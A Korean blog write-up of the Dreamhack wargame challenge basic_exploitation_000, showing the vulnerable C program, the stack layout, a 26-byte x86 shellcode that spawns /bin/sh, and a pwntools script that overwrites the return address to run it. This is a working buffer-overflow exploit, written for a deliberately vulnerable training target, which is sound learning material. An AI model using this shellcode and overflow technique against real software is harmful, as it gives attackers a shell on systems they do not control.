Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 | 31 |
Tags
- rev-basic-1
- sd카드 리더기
- rev-basic-2
- rev-basic-4
- coin1
- off_by_one_000
- pwnable.kr
- Dreamhack
- out_of_bound
- basic_exploitation_001
- Pwnable
- rev-basic-5
- L18
- sint
- 드림핵
- RCE
- 코드엔진 베이직
- 코드엔진 베이직 13
- rev-basic-0
- 포너블
- CodeEngn
- rev-basic-6
- L17
- rev-basic-3
- basic_exploitation_000
- rev-basic-7
- L16
- L15
- off_by_one_001
- Basic
Archives
- Today
- Total
서브웨이
dreamhack basic_exploitation_000 풀이 본문
오랜만에 글을 쓰네요. 그동안 프로젝트와 진로에 대한 고민을 하느라 업로드를 쉬었습니다.
이제 다시 차근차근 올려보겠습니다.
첫 문제답게 간단해보입니다. 참고에 Return Address Overwrite가 써있는걸로 봐서 그냥 리턴 주소만 덮어씌우면 될 것 같습니다.
그럼 문제 파일을 봅시다.
파일은 이렇게 두개로 구성되어 있습니다.
먼저 C 소스코드를 봅시다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
간단하게 128바이트의 문자열이 선언되고 해당 문자열의 주소가 출력됩니다.
그리고 해당 문자열에 141바이트의 입력을 받아 BOF를 일으키면 될 것 같습니다.
스택은 이러한 형태로 구성되어 있을것입니다.
그렇다면 당연하게도 132바이트를 임의의 값으로 채우고 마지막 4바이트를 원하는 리턴 주소로 조작하면 될 것같습니다.
근데 어디로 돌아가야할까요? 간단하게 문자열에 쉘코드를 삽입해서 리턴주소를 해당 문자열의 시작 부분으로 설정해주면 됩니다.
사용할 쉘 코드는 다음과 같습니다.
length: 26, '\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
익스플로잇 코드는 다음과 같이 구성합니다.(python3 기준)
from pwn import *
p = remote('host1.dreamhack.games', PORT)
p.recvuntil('buf = (')
buf_adr = int(p.recv(10), 16)
payload = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload += b'\x80'*106
payload += p32(buf_adr)
p.send(payload)
p.interactive()
결과는 다음과 같습니다
오랜만에 하려니 간단한것도 오래걸리네요...
'Pwnable > dreamhack' 카테고리의 다른 글
dreamhack off_by_one_000 풀이 (0) | 2021.07.27 |
---|---|
dreamhack welcome 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_003 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_002 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_001 풀이 (0) | 2021.07.19 |
Comments